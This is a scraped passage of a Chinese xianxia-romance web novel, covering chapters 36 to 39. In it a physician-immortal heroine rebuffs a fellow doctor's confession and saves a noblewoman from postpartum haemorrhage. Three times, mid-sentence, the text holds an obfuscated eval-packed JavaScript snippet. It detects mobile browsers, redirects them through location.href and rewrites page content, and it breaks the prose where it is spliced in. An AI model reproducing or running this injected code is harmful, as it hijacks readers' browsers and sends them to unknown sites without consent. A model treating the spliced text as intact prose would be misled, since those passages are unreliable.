妤再一怔,想了想,发现还真是这么回事,便放过了木簪,开始回答素问的第一个问题:“方才我迷迷糊糊之间,似乎听到有人是说书先生?” “你误会了。”素问将元度卿的身份介绍了一遍,道,“他说起自己的情史,确实扣人心弦,所以我们说玩笑话,要他去酒楼说书。” “是么?”妤再兴致大增,问,“我最喜欢听说书了,以前还自己写故事去请人说——来,你快说与我听听,这究竟是怎样一个驰魂夺魄的故事?” “倒也不是多么惊心动魄。”素问正努力回想元度卿是如何说的,忽然心里一动,她看向妤再,道,“星君找我。” 妤再无奈:“他也真是扫兴,罢了,你先去应付。” 素问关切道:“那你呢?” “我继续回葫芦里去,好好养足了精神,等下回元度卿说后续的时候,你记得叫我出来。” 素问奇道:“你当真感兴趣啊?” 妤再反问:“难道还有假?” 素问语塞。 “改日再见。”妤再不再多留,利落地回了葫芦。 素问则闭目冥思,瞬间来到了识海中。 司命星君已经等着了,按照以往的惯例,他应当见面就说正事,但是今日却有不同,司命星君看到素问后,脸上有一瞬的空白,人也沉默了下来。 素问试探地问:“星君急召是为……?” “唔……”司命星君顿了一瞬,蓦然眼睛一亮,道,“我来问问,你开始给方灵枢治病了么?” 这次轮到素问支吾了:“第一道方子倒是炼成药丸了……” 司命星君了然:“没有给他,为何?是不想见他?” 素问连忙摆手,道:“明日就去!” 司命星君笑了笑,道:“有时候别太考虑别人在想什么,自己想怎么做就怎么做。” 素问抬头看他,默然不语。 司命星君便挥手赶人:“回去罢!” 素问没动,犹豫片刻,还是问道:“星君要见妤再仙子么?” “还不是时候。”司命星君温声道,“你的识海也不适合再让别人进来。” 素问点了点头,这才告别离开。她睁眼之后,在房里想了片刻,没能做下什么决定,索性不去想,起身来到前堂。 图南撑着头在发呆,察觉到素问进门后,他直起身道:“明月奴在元先生家找书,石小娘子回家去了,说改日再来拜访。” “好。”素问来到图南面前,道,“师兄歇着罢,我现在无事做了。” 图南也不推辞,起身去窗边喝茶,趁着没人的间隙,他问道:“那个石小娘子所言属实么?” 素问知道他问的是什么,没有顾左右而言他,也没有正面回答,只道:“我不会与人成亲,治好方灵枢之后,我就会离开。” 图南一愣:“你来洛阳只是为了方灵枢?”他越说越心惊,“腾”地站了起来,“你以前就知道他?莫非是……” 素问见他越想越偏,连忙解释:“以前不认得,我也没见过张前辈,只是现下所做的打算罢了。” 图南想了想,道:“也行,到时候跟我一起走。” 素问笑道:“和她一起?” 图南也笑起来,坦然点头。 “恐怕不成,我的药要吃五年呢。” 图南顿时遗憾:“如此,我只能先出去逛一圈,再回来接你了。” 素问打趣道:“师兄到时候如鱼得水,何必再入樊笼,我自己认得回去的路。” 图南摸了摸脑袋,笑道:“再说,再说。” 37. 无折树檀(七) 次日,安平医庐挂了停诊的牌子,而洛河对岸的半钱医馆刚开门,便见阶下站着一个素影。 方灵枢愣了一瞬。 孟冬见门开到一半停住了,打着哈欠过来,看到素问,奇道:“叶医师怎么这么早?” 素问回身抬头看来,冲两人微微一笑。 方灵枢连忙拆下其余门板,将人迎了进去。 素问背着药箱站到屋中央,目光扫了一圈后,落回到身边人身上,温声问:“近日很忙么?” “还好,入秋之后感染风寒的病人多,不过现在草药已然齐全,即便忙碌,也比前些时日捉襟见肘的好。”方灵枢说着,引素问来到后堂,道,“你先坐,我去拿些茶点来。” “不必,你知道我不需要这些的。”素问也没坐,将药箱放到小桌上,从里面取出三只药瓶一一摆开,道,“我来给你送药。” 方灵枢一怔,不禁问:“你都制成药丸了?” “我用药有自己的习惯,若是让你自己煎药,不一定会达到我的要求,还很麻烦——这里一共有廿一粒,你每日早中晚各服一粒,饭后隔一盏茶功夫便可,七天后我再来给你看。”素问说着,合上箱子。 方灵枢看着她一系列动作,眼见着箱子挂到了肩上,连忙问道:“你要走?” “对呀,我是来送药,送完了就回去了。”素问说罢,问,“你还有事么?” 方灵枢顿了片刻,摇了摇头。 素问笑道:“那我走了,回去还要开门呢。” 方灵枢没有说话,亦步亦趋地跟着素问到了门外,眼见着素问要下台阶,他终于知道该说什么:“我送你!” 素问放缓了脚步,踱下了台阶,还是决定说清楚,她回过头,又重新上台阶,来到方灵枢的面前,道:“我们相识也有些时日了,我想问你如何看我?” 方灵枢茫然一瞬,便明白了素问的意思,他认真道:“你是医术精湛的医师。” 素问道:“我是女子。” 方灵枢温声道:“同怀济世之心,若谈论性别之分,格局未免太小了,若真有人这么说,那他大约是个不如你的男子。” 素问不由笑起来,问道:“那你为何不敢去惠训坊了?” 方灵枢语塞。 “想来是怕坏了我的声誉,但我的病人可不仅仅是女子。”素问忍不住轻叹,“况且你我二人见面,几乎都是因为医药这一类的事,道理你都说得明白,为何反倒因男女之别而避开我?这是什么道理?” 方灵枢抿唇沉默。 素问等了片刻,没等到回答,无奈地笑了笑,道:“也罢,你不必送了,我改日再来。” 方灵枢看向素问,见她真的头也不回地离开了,心里不禁发慌。 素问到坊门口时,还未听到身后有追来的动静,心里难免失望,但也没有回头,不想快走到渡口时,身后竟传来急促的脚步声,素问停下脚步,听了片刻,果然听到熟悉的声音—— “素问!你等等!” 素问转过身,看着方灵枢到跟前,好整以暇地回道:“我不急着走,你也不必急,不过方才你不愿开口,现在为何又要追来?” “我怕后悔终生。”方灵枢立刻道。 素问反倒一呆:“什么?” 方灵枢勉强顺匀了气,解释道:“你走得好生决绝,我怕你再也不愿同我做朋友,那样我必定会抱憾终生!” “我……”素问一时手足无措,甚至忘记自己是为何事来讨要说法了。 方灵枢说完了第一句,后面的就容易接下去了:“我避开你绝不是因为你是女医师,你我同为医者,无谓男女之说早已在第一回救治时疫的时候就分辩清楚了,我若仍旧持此想法,后来也不会去扰你。” 素问抬头看着方灵枢,直觉他接下来的话将会捅破那一层薄如蝉翼的窗户纸,而自己不入战神劫难,不该就此卷入其中,但这一刻也不知是为何,满大街人来人往,诸多人情世故,竟没有一件事能被她当做借口来阻挡方灵枢。 于是天光乍破,终是彻彻底底照进了心底那个隐秘的角落,让萌芽茁壮成长,瞬间变成了一棵参天大树—— “在下爱慕小娘子,再不能俯仰无愧,更不敢冒昧惊扰。”方灵枢如是说。 素问呆呆地看着方灵枢,过了许久,才找齐自己的三魂七魄,喃喃道:“可是我不能……” 方灵枢温和笑开:“我知道,你要求仙问道,不会妄动凡心。” 素问垂着头,搓了半晌衣袖,才道:“往后,你还是去寻一个真心喜欢的人,娶妻生子,过正常的一生。” 话说完,许久没有回复,素问抬头看向方灵枢,问:“在完全治好你之前,我还是要见你,如果这样会干扰到你,我就设法再加快速度,然后离开洛阳。” 方灵枢淡淡一笑,道:“不必,我又不是孩子,管不住心,还管不住人么?今日是我唐突,不过说出来也好,往后你我仍旧是朋友,我不会再避开你,你也莫要心生压力,就把我看做图太医,或者是元先生,都可以。” 素问点了点头,勉强笑道:“就按你说的办!” 方灵枢暗自松了口气,道:“我送你上船。” “好。”素问接受了他的好意,借一份力,跳到船上,再如常挥手道别,由着船儿将她送去对岸。 回到医庐后,素问照常挂牌问诊,明月奴在后院入定,爰爰和兰兰则在元度卿的书斋里玩耍,一切都井然有序,平淡如水。 白昼渐短,商铺都早早收了摊,尚在黄昏时分,接道上就只剩下秋风扫落叶的动静了。 元度卿拢着袖子,哼着小调,来到路对面的洛河边,状似无意地倚靠着栏杆,看了看天上零星而过的飞鸟,又欣赏了一会儿河对面的酒楼灯火,最后实在看无可看,只得让目光落在河埠头盘腿打坐的身影上,道:“你不是医者么?难道不知道这样寒凉的天不应当坐在石头上?何况还是水边的石头,小心肚子痛。” 素问眉头一皱,睁开眼,回头看向元度卿,认真道:“我不会。” “你不会,但是别人会看见,就会觉得你会嘛!” 素问被这一通“会”说得头晕,再定神时,元度卿已经下了台阶,笑嘻嘻地坐到自己身边了。素问道:“你就不怕肚子痛了?” 元度卿道:“按常理习俗来说,男子不会。” 素问:“……” 元度卿放低了声音,道:“鲜少见你有这样苦恼的时候,发生了什么事?和我说说?” 素问摇头:“没什么。” 元度卿了然:“难以启齿,那想必是情关难过了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336005|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 素问一脸见鬼似的看向元度卿。 元度卿一眨左眼:“我都懂的。” 素问只有沉默相对。 元度卿摸着下巴思索片刻,道:“你今早回来就有些心神不宁,若是爰爰没说错,你是去见方医师了罢?”话一说开,元度卿也不管素问的反应了,自顾自地接了下去,“方医师对你的心意,别人看不出来,我作为过来人,自然是看得明白——他是不是向你坦明心意了?” 素问看着元度卿,忍不住问:“然后呢?” “看你现在这幅模样,你肯定是落荒而逃了呀。” 素问不禁沉默,过了许久,才道:“我不能对方医师动心。” “你能说出这样的话,肯定就是动心了呀!女子不动心,那可是十分绝情,想想你对李衙内和对方医师有什么区别就明白了。” 素问再次皱眉:“我没有,只是方医师人好,我对他态度好也是理所当然。” 元度卿笑了一声,不去拆穿,只道:“那你说说,为何不能对方医师动心?” 素问含糊道:“他有命定的姻缘。” 元度卿笑道:“方医师若果真有命定之人,那定然就是素问你了呀!” 素问立刻道:“不是我。” “必定是你。”元度卿回得更快,“你问问街坊邻居,换成别人他们答不答应?” “我不在乎别人怎么想,反正我不答应。”素问坚定道。 元度卿更是不解:“你也喜欢方医师的呀。” “那也不答应!”素问站起身,不再否认,也不再茫然,“即便我喜欢,我也只会在一边看着他,绝不要和他在一起!” 元度卿抬头看素问的模样,笑道:“你是说给我听,还是说给自己听?” 素问沉默片刻,放缓了语气:“不重要,反正我与方医师也说明白了。” 元度卿:“你们约定好做朋友?” 素问很是吃惊:“这也能猜到?” 元度卿摊手,都懒得解释,忍不住摇头笑叹:“傻素问啊!说什么做朋友,到底还是自欺欺人,你若不信,那就等着瞧好了,且看看你在旁边,方医师会不会看得到其他人?” 素问淡淡道:“果真如此,我会离开的。” 元度卿骤然沉寂,过了好一会儿,才问:“要怎么样,你才会和方医师在一起?” “如何都不会……亦或者,如果我再也回不去故乡,要老死在这里,才会有一点可能罢。” 元度卿不禁摸了摸胡子,低声道:“这样听来,似乎不是什么好事。” 素问“嗯”了一声,转身往台阶上去,但刚走出一步,便被元度卿的话震得停了下来—— “你在这里是‘求不得’,你若离开便是‘爱别离’啊……” 素问猛地回头,惊道:“你怎么知道?!” “知道什么?”元度卿懒散地撑着胳膊,抬头看着素问,笑道,“人世八苦?我一个读书人,这都不知道还得了?倒是你,怎么如此惊讶?” 素问拍拍胸口,“哼”了一声,果断离开,否则不知还会被元度卿套出什么话来。 夜色降临,各家门户落锁,也不知过了多久,河埠头才传来元度卿一声笑:“我有所念人,隔在远远乡。我有所感事,结在深深肠……” 38. 无折树檀(八) 渡口一别后,方灵枢恢复了原来的态度,偶尔会来安平医庐坐上一坐,有时遇见石水玉或是李重琲,竟也能围坐一桌,谈笑风生。此情此景,明月奴自然见之不喜,爰爰和兰兰倒是恨不得人家天天来,好让医庐时时刻刻都热闹着。 如此平淡温馨,时间便悄无声息地从指缝流走。一个清晨,有人在安平医庐开门前便守在了外边,素问甫一露面,那人便迎上前来,笑着说明来意:“玲珑夫人有请。” 素问掐指一算,吸入一腔寒气——原来眨眼睛已经到了九月末,玲珑夫人即将临产。 李府与先前区别不大,玲珑夫人所在的院子仿佛设了结界,一众仆从将素问送到小径,便不再上前。玲珑夫人贴身侍女蜀琴带着素问往里走,一路上关心了几句,见素问答得不积极,以为她是怪李重琲不亲自去惠训坊,便解释道:“公子昨晚被召进宫了,不然该是公子去接小娘子的。” 在玲珑夫人之前,素问从未接触过孕妇,更别提即将临盆的了,她不知今日玲珑夫人为何找自己,正在脑中回想医书和诊籍关于接生一类的记载,因此有些出神,忽然听到蜀琴的话,脑子转不过来,有些茫然:“什么?” 蜀琴便重复了一遍。 素问失笑,道:“上门问诊还要挑谁来请么?” 蜀琴闻言,也笑了起来。两人说话间,已经到了玲珑夫人院外,她停在院门口,道:“夫人在屋里,叶医师先进去罢,有吩咐的话,敲铃便是。” 素问“嗯”了一声,越过庭院,来到玲珑夫人房门前。门是开着的,纱帘也拉起来了,素问一来到门外,便看到靠在榻上的玲珑夫人。玲珑夫人看上去与上次差不多,不过手伸出来时便体现出了区别——整个手都大了一圈,手上的镯子看模样是摘不下来了。 素问记得书中所述,这是临盆时母体水肿了,她放下药箱,来到玲珑夫人跟前,先问道:“夫人今日觉得如何?” “好像要生了。”玲珑夫人吃力地挪了挪身子,道,“这几天睡也睡不好,总是起夜。昨夜肚子忽然痛,但过一阵子又好了,我担心今晚还会痛,琲儿是死也不会让稳婆进门了,叶医师不如在我这里留几日,如何?” 素问忙道:“我没有接生过,不一定能做得好,还是得找有经验的稳婆来!” 玲珑夫人倒很是轻松,一摆手,道:“你是琲儿千挑万选请来的女医师,不会出差错。” “可万一……” “万一出意外,我死了,或是孩子死了,都是琲儿的错,你也不要怪自己。” “……”素问顿了片刻,勉强劝道,“衙内会一直怪自己的,所以还是母子平安比较好。” 玲珑夫人翻了个白眼:“是他不让我找稳婆,我命都给害没了,他怪一怪自己又怎么样?会掉一块肉么?” 素问被噎得半晌说不出话。 玲珑夫人睨了一眼,装模作样地叹道:“父母爱子女,子女却不会对父母付出同样的爱,危难之时,我甚至想过为琲儿去死,他呢?为你死也不会为我死!” “他不会为我死,初见便对我另眼相待,是因为我是药圣谷医女。”素问认真道,“衙内平日里放浪形骸,被不少人诟病,但是对夫人却如此古板守旧,事做得不对,可是心意我是能看明白的,夫人自然更加明白——他可以很早便用一碗滑胎药送走这个孩子,却一路寻寻觅觅,非得找一个符合他要求的女医,因此耽误了时间,归根结底还是不想让夫人受到任何伤害。遇见我之后,他甚至不惜打伤自己来试探我的医术,如此用心,可见是个孝顺的人。” 玲珑夫人沉默了好一会儿,才低声笑嗔:“孝顺却办坏了事,可见是愚孝,不顶用。” 素问随之一笑,道:“我先给你诊脉罢,若一切都好,今日给你按摩后,我先回家去,宵禁之前再来。” 玲珑夫人奇道:“还用诊脉?我生琲儿之前也是四肢都肿了。” “通常问题不大,但是得诊脉排除子痫。”素问说着,已经搭上脉,片刻之后,松手笑道,“不要紧,夫人安生等着便是。” 玲珑夫人道:“那你傍晚可要记得来。” “放心。”素问拎起药箱,出了房门,顺道将门掩上,而后转身,看向坐在台阶上的人。 李重琲似乎一夜未睡,眼中有血丝,下巴也有些发青,他怔怔地看着素问,缓缓起身,片刻之后,蓦然一笑。 素问下了台阶,李重琲跟在身后,离开院子有一段距离时,素问才道:“你进宫了?” “嗯。”李重琲沉声道,“你为何要帮我说话?” 素问疑惑地回头瞥了他一眼,道:“我只是说出事实,并不是帮你。”说完,照旧往前走去。 李重琲咧嘴笑开,脚步轻快地上前几步,与素问并肩而行,道:“我送你回去。” “不,你还是休息去罢。” “那我晚上去接你。” “更不必了,阵仗那么大,是生怕别人不知道么?” 李重琲不死心:“那我……” “留步。”素问停下,止住李重琲,而后利落地转身离去。 蜀琴在不远处等了片刻,见素问走后,李重琲还呆呆地站在原地,便上前问:“公子要出去么?” 李重琲嘴角噙着笑,摇了摇头,道:“素问让我去休息,她念着我的身体呢。” 蜀琴:“……” 素问走到半路,忽然打了一个寒噤,她停步茫然四顾,无奈修为被压制,推测不出因由,只得将这段插曲搁置一边,往家中走去。 午后艳阳高照,刺得人睁不开眼来,素问眯着眼睛行在洛河边,沿途见不少人家都将桌椅摆出来,围桌坐着的人大多都是熟人,时不时便有人与她招呼,若不是偶尔警醒自己,素问甚至觉察不出自己是个异类。 家门口,元度卿也搬出了木桌竹凳;爰爰和兰兰近日沉迷抓石子玩,今日亦不例外;明月奴则坐在竹凳上,一遍吃茶,一遍与元度卿搭话。桌边还坐着另一个人,竟是多日不见的图南,他跟前的茶碗是满的,还冒着热气,本人却托着下巴,若有所思地看着爰爰她们。 素问到得跟前,在明月奴和元度卿都开口与她招呼后,图南才醒过神来,素问不禁奇道:“图师兄在想什么?怎么如此出神?” 图南起身示意素问跟他进去。两人一前一后来到后院,图南才道:“你对兰兰有什么打算么?” 素问知道图南的意思,一时陷入沉默。 图南叹气:“那我换个问法,你问过兰兰想选哪条路么?找新父母?去善堂?” 素问慢吞吞回答:“都不是,她要留在我身边。” “那怎么行?你难道一辈子将她当作孩子一般养着么?”图南说着,自己先摇了摇头,“不成,她是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355935|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,不是小猫小狗,喂饱肚子就好,兰兰以后总归要走自己的路。” 素问也很为难:“总不能强行送走她,被亲生父母抛弃一次已经很可怜了,若我再来一次,真担心她受不住。” “循循诱之,总会接受的。”图南道,“我之前说过让兰兰去善堂,但是你不同意,我也就没多关注。巧的是,前些时日,我偶然发现一个善堂十分好,除去吃饱穿暖之外,孩子满八岁还能去上学堂,而且男女各设一处。十三岁后,孩子们可以自行选择要继续做学问,还是出去拜师学艺,若是后者,善主还会介绍门路。十五岁之后,才会让孩子们离开善堂,各寻去处。”图南知道素问不愿意听,便快速说完,尔后问,“这样的善堂,你觉得能不能去?” 素问不禁笑道:“真有这样的地方,别说孤儿了,就算父母双全,有些穷苦的人家也会想将孩子送去,这个善堂不说举国尽知,在洛阳城肯定声名远播,何以我从未听说过呢?” 图南清了清嗓子,低声道:“因为……这是设想,是善主最终的目标,现在……嗯,确实还没实现,善堂还没开起来,在选址呢。” 素问无奈:“图师兄莫非是被别人的大话给骗了?” 图南又有了信心,挺直腰杆指责:“你都不问善主是谁,怎么贸然说人家是骗子?” “我也想过开善堂,自然了解过其中的难处,照图师兄方才所说,此人不管是谁,我都信不过。” “若是方医师呢?”图南道。 素问一怔,过了片刻,才反应过来:“你是说,方医师想开这样一个善堂?” 图南好整以暇地看着素问,笑道:“你现在该信了罢?” 素问眨了眨眼,甚是不解:“你和方医师很熟么?他为何要跟你说?” “自然是因为方医师有心无力,财力人脉都不够,恰好有一天遇见我,他便找上来了啊。”图南见素问没了方才的锐气,笑道,“我从明月奴口中得知你刚好也想开善堂,便想着不如与他并做一处,哪怕达不到我们希望的目标,但是总归人多力量大。” 素问沉吟片刻,道:“我回头去找他问一问,若是当真可行,那就加入他。” 图南默然半晌,忍不住叹息:“我与你说,你不信,怎么善主变成了方医师,你就一点没有怀疑了呢?” 素问赧然,连忙解释:“我不是不信图师兄,是担心你被外面坏人骗了!而且也没有一点不怀疑方医师,方才不是说了嘛,我要确认他的想法是可行的。” “但还是偏信,若是其他人,你还愿意去问?”图南说着说着,更是感伤,惆怅地看向蔚蓝的天,道,“我好歹在洛阳城呆了十几年,能骗到我的人屈指可数,你自然也办不到——所以你倒是说说为何偏信方医师?” 素问躲不过,只得酝酿着回答:“那个……你也见过方医师,该明白他的性格,他不会说大话的。” 图南“啧啧”摇头:“好得很,好得很呐!” 素问待要哄一哄吃味儿的师兄,忽然前门传来一阵急促的马蹄声,下一刻,李重琲猛地推开了医庐后门,见到素问后,铁青的脸色稍稍缓解,他瞥了图南一眼,然后看向素问,道:“走。” 图南瞬间明白发生了什么,立刻让出道:“快去。” 素问知晓利害,冲图南一点头,尔后拎起还未打开的药箱,跟着李重琲往李府去。 39. 无折树檀(九) 玲珑夫人是在素问走后不久,忽然间破了羊水,她有生产经验,当机立断地躺到了床上,因此羊水并未流出太多,不过宫缩痛随之开始,等素问赶到的时候,她已经疼得嚎起来了。素问听见动静,一路跑进房中,不等放下药箱,先去床边劝玲珑夫人莫要将力气花在喊叫上,尔后又根据医典中记载,帮玲珑夫人顺匀了呼吸,素问才稍稍松了口气。 蜀琴也找回了魂,一回头,发现李重琲竟然在纱帘外,惊道:“公子!你怎么能来这里?!” 李重琲道:“我看看有没有什么帮得上的。” 素问正要叮嘱,蜀琴却更快一步,将人推出了房门,道:“产房血气重,男子怎么能进?公子门外等着罢!” 玲珑夫人带着哭腔道:“从、从前生琲儿,痛得想杀人,别人都说……说往后再生就好了,为何……为何……” 素问收回目光,看向玲珑夫人,见她额间已经汗湿,眼角亦有泪痕,便问道:“你还能忍么?” “快、快不能了……” 素问想了想,取出金针,缓慢扎入玲珑夫人右手的合谷穴中,片刻之后,对方似有缓解,素问便道:“我要看看大小,夫人躺好。” 玲珑夫人依言放松自己来配合素问。 片刻之后,素问道:“两指,夫人还要等等,千万不要乱动,如果有什么需要……” 蜀琴连忙接道:“都交给我,我知道怎么做。” 玲珑夫人一边“嘶嘶”吸气,一边艰难地“嗯”了一声。 素问想了想,让蜀琴取笔墨来,她挥笔写下四道药方,送到门外,叮嘱李重琲去备好药,等自己知会。 李重琲本来在门口干着急,这会儿拿了药方,像抓住了救命稻草一般,风急火燎地就出去了。 素问又让蜀琴去准备热水、棉布巾等一应生产需要的东西,尔后回到玲珑夫人跟前,犹豫片刻,还是问:“你想快点生,还是少些疼?” 玲珑夫人有些茫然:“何意?不能少疼快生么?” 素问摇头,指着穴位上的金针,道:“这样降低疼痛,但是会拉长产程,若是平时也还好,但现在羊水破了,我不确定你腹中孩儿是何情形……” 玲珑夫人眼睛立刻瞪大:“是了!快,我要快!” 素问便拔下了针。 疼痛如同潮水一般,一波又一波,似乎永远也结束不了,玲珑夫人几次忍不住哭,又怕乱了呼吸,拼命忍着,如此过了一下午,到黄昏时候,当素问第四次检查时,发现已经到了生的时候了。 仙人不会生子,素问第一回面对此种情形,除了照着书本按部就班地来,毫无其他办法。好在玲珑夫人先前做了准备,整个生产过程还算得上是顺利,到天擦黑的时候,孩子便顺利地生了出来,发出第一声哭。 玲珑夫人在这一瞬间放松下来,将口中的参片嚼碎咽下,感叹道:“轻松了,终于轻松了。” 蜀琴也是喜极而泣,她抹了抹眼泪,带着孩子去旁边清理口鼻和血污,一边道:“夫人心愿成真,是个女娃娃。” 素问微笑着听她们主仆俩说话,低头揉着玲珑夫人的小腹,帮助她排出胞衣,再抬头时,发现玲珑夫人看着蜀琴包好孩子,眼睛耷拉着,一副想睡过去的模样,素问心中顿生警惕,仔细观察之下,察觉玲珑夫人面色比方才苍白,再加上一副大汗淋漓的模样,俨然是血崩前兆。素问连忙叫醒玲珑夫人,问道:“夫人觉得如何?” 玲珑夫人意识尚算清醒,但气若游丝:“有些头晕,大概是太累了。” 素问连忙去查看玲珑夫人身下垫的棉布,抽出来稍稍一掂,便判断出出血量不合常理。那厢,玲珑夫人情况急转直下,整个人忽然晕厥过去。 蜀琴吓得连声喊她,李重琲在门外听到动静,立刻推门进来,急道:“怎么了?!” “先关门。”素问自己也有些慌张,一手探脉,一手去掐玲珑夫人的人中,却感觉到脉象变得微弱,人也是出气多进气少,显然是危在旦夕了,但是血还在源源不断往外流,一个人又有多少血禁得起这么流下去? 素问手一动,下意识便取出保命仙丹来,但丹药刚到手中,她忽然间就僵住了——一股无形的力量控制了她的身体,让她动弹不得。 “素问!你还在发什么呆?快救人啊!”李重琲急切地喊道。 素问心里也是万分着急,可是身体却不听使唤,电光火石之间,她意识到了原因所在,连忙驱使须弥戒收回了仙丹,果然,她立刻就能动了。 李重琲扑在床边,红着眼睛回头看素问:“你不是最好的女医师么?怎么会这样?” 素问感觉额头在冒冷汗,仙法医道可谓是她的定心石,无论到何种情境,她总是想着还可以用仙丹托底,没想到司命星君说到做到,除了方灵枢之外,她对其他人只能用凡间的丹药医术。不过眼前情形不容她再多想,素问沉声道:“我要施针,第三服药好了么?” 李重琲连忙站起身,道:“方才快生的时候,你让我去煎,这会儿肯定好了!” “端来,走稳些,别洒了。”素问道。 李重琲见素问如此沉着,心里慌乱少了几分,他连忙转身离开。 素问示意蜀琴将孩子放到一边,而后将炭盆端来,她自己则剪开玲珑夫人的衣服,先在人中、合谷、三阴交、足三里处下针,片刻之后,见玲珑夫人仍未好转,便又加上印堂、大敦、关元、隐白几个穴位。没过一会儿,门外传来动静,素问示意蜀琴将药端来,而后一点一点灌进了玲珑夫人口中。在等待药效发挥作用的间隙,素问时不时调整针灸穴位,过一会儿便要检查新换上的棉布中有多少血,眼见着出血量越来越少,玲珑夫人呼吸也逐渐正常,悬着的心才总算是放了下来。 这才有空看向床尾那个小生命,小婴儿似乎知道母亲正在艰难攻关,不哭不闹,只咂巴着嘴。 “夫人气血亏虚,恐怕不能喂孩子了。”素问道,“她该饿了。” 蜀琴方才瘫坐在地,闻言立刻起身,道:“本来也不会让夫人亲自喂养的,有奶娘,我这就带她去。” 素问点头,撤去金针,为玲珑夫人盖好被子,道:“若是衙内还在外面,告诉他可以进来了。” “嗳。”蜀琴小心地抱起婴儿,离开了房间。 素问坐在床边,片刻之后,脚步声伴随着烛光靠近,李重琲抬着烛火先看了看玲珑夫人的脸色,确认人暂时没事了,才将烛台放到桌上,开口时,声音有些沙哑:“方才你们不让我进,里面灯火这么暗,我一直很担心,没想到你竟然能看得见,果然医术惊人。” “只是目力优于常人罢了。”素问低声道。 李重琲搬着凳子坐到素问旁边,小心地看了她片刻,低声道:“我先前态度真是混账,等回头你休息好了,狠狠打我一顿出出气。” 素问一怔,看向李重琲:“什么?” 李重琲垂头:“我吼你了。” 素问茫然回想,竟记不起来李重琲何时吼过自己,勉强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367170|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“你肯定不是成心的了,她是你娘,你着急是应当的。” 李重琲抬头看向素问,又看了看玲珑夫人,深吸一口气,叹道:“早知今日,我如何也不会让……” 素问比了个噤声的手势,温声道:“多说无益,如今母女平安就可以了。” 李重琲挠了挠头,笑道:“正是正是,嗐!想不到我这么大了,还能有个小妹,要是幼澄还在,她肯定开心得不得了……”李重琲说着说着,想起婴儿的身世,笑意渐淡,过了半晌,才道,“幼澄或许是换了个身份回来,继续当我的妹妹。” 素问忍不住道:“不管孩子是何人转世,都与前世关联不大,你若是将她当做其他人的替身,对这孩子似乎不公。” 李重琲没有接话。 “歇着罢。”素问点到为止,并没有说教的打算,道,“睡一觉,明日一切都好了。” “不错,确实要好好休息。”李重琲说罢,握住素问的双肩,将她推到榻上休息,自己则坐到床边脚踏上,一手托着下巴,一手握住玲珑夫人的手,一副铁了心要守夜的模样。 素问心知现在肯定是赶不走李重琲了,先前让他在外面提心吊胆却无能为力了那么久,如今守在床前也没什么,便合衣靠在榻上。 进入下半夜,李重琲支撑不住了,眼皮子打了许久的架,还是忍不住趴在床上沉沉睡去。素问起身几次,确认玲珑夫人无碍,顺道给李重琲盖了件披风。蜀琴将孩子交给乳母后,曾经回来一次,看见房中静谧的情形后,又掩上门出去了。 如此,一夜平顺而过。 清晨时分,天光照入床榻,玲珑夫人缓缓睁开眼,入目第一幕是李重琲悬着口水的嘴角,她不禁扬起唇角,再往前看,便见素问睁眼坐了起来。玲珑夫人用嘴型无声道:“多谢。” “应当的。”素问回道。 李重琲听到声音,立刻惊醒,睁着迷蒙的眼睛看着玲珑夫人,过了片刻,才回过神,他拍了拍胸口,连声道:“吓人!吓人!做了个吓死人的噩梦!” “日有所思,夜有所梦。”素问笑着走近,道,“劳你去拿些热粥和瘦肉来,夫人饿坏了。” “好!”李重琲一骨碌爬起来,风风火火地冲了出去。 等人走了,玲珑夫人才想起孩子,连忙问:“宝宝呢?” “她一切都好,在乳母那里。”素问说罢,为玲珑夫人再次诊了诊脉,确认她此番当真平安了,起身道,“我先走了,天刚亮,路上人少,不至于惊动别人,免得诸多麻烦,你独自睡一会儿可以么?” 玲珑夫人问:“不等琲儿来道别么?” 素问笑道:“左不过是客套话,实在不必。” 玲珑夫人想了想,觉得也有道理,便道:“叶医师一路走好,我改日登门拜谢。” “不必,这是医者本分。”素问整理好药箱,背到肩上。 玲珑夫人忽然道:“昨日吓坏你了罢?其实女子生产也不一定就如此凶险,你以后……” “我不能生孩子。”素问如实道,“昨日种种,今日想来,确实有些后怕,但我不是怕这些,而是……”素问想到昨日慌乱之中想用仙法却被禁锢,不禁闭了闭眼,酝酿片刻,才缓和了心绪,道,“而是我发现自己医术还有待精进。” 玲珑夫人不赞同:“我知道昨日是何病症,不少妇人遇到这般情形就没救了,你将我从鬼门关拉了回来,还说自己医术不精?” 素问笑了笑,没再解释,告辞离去。 40. 无折树檀(十) 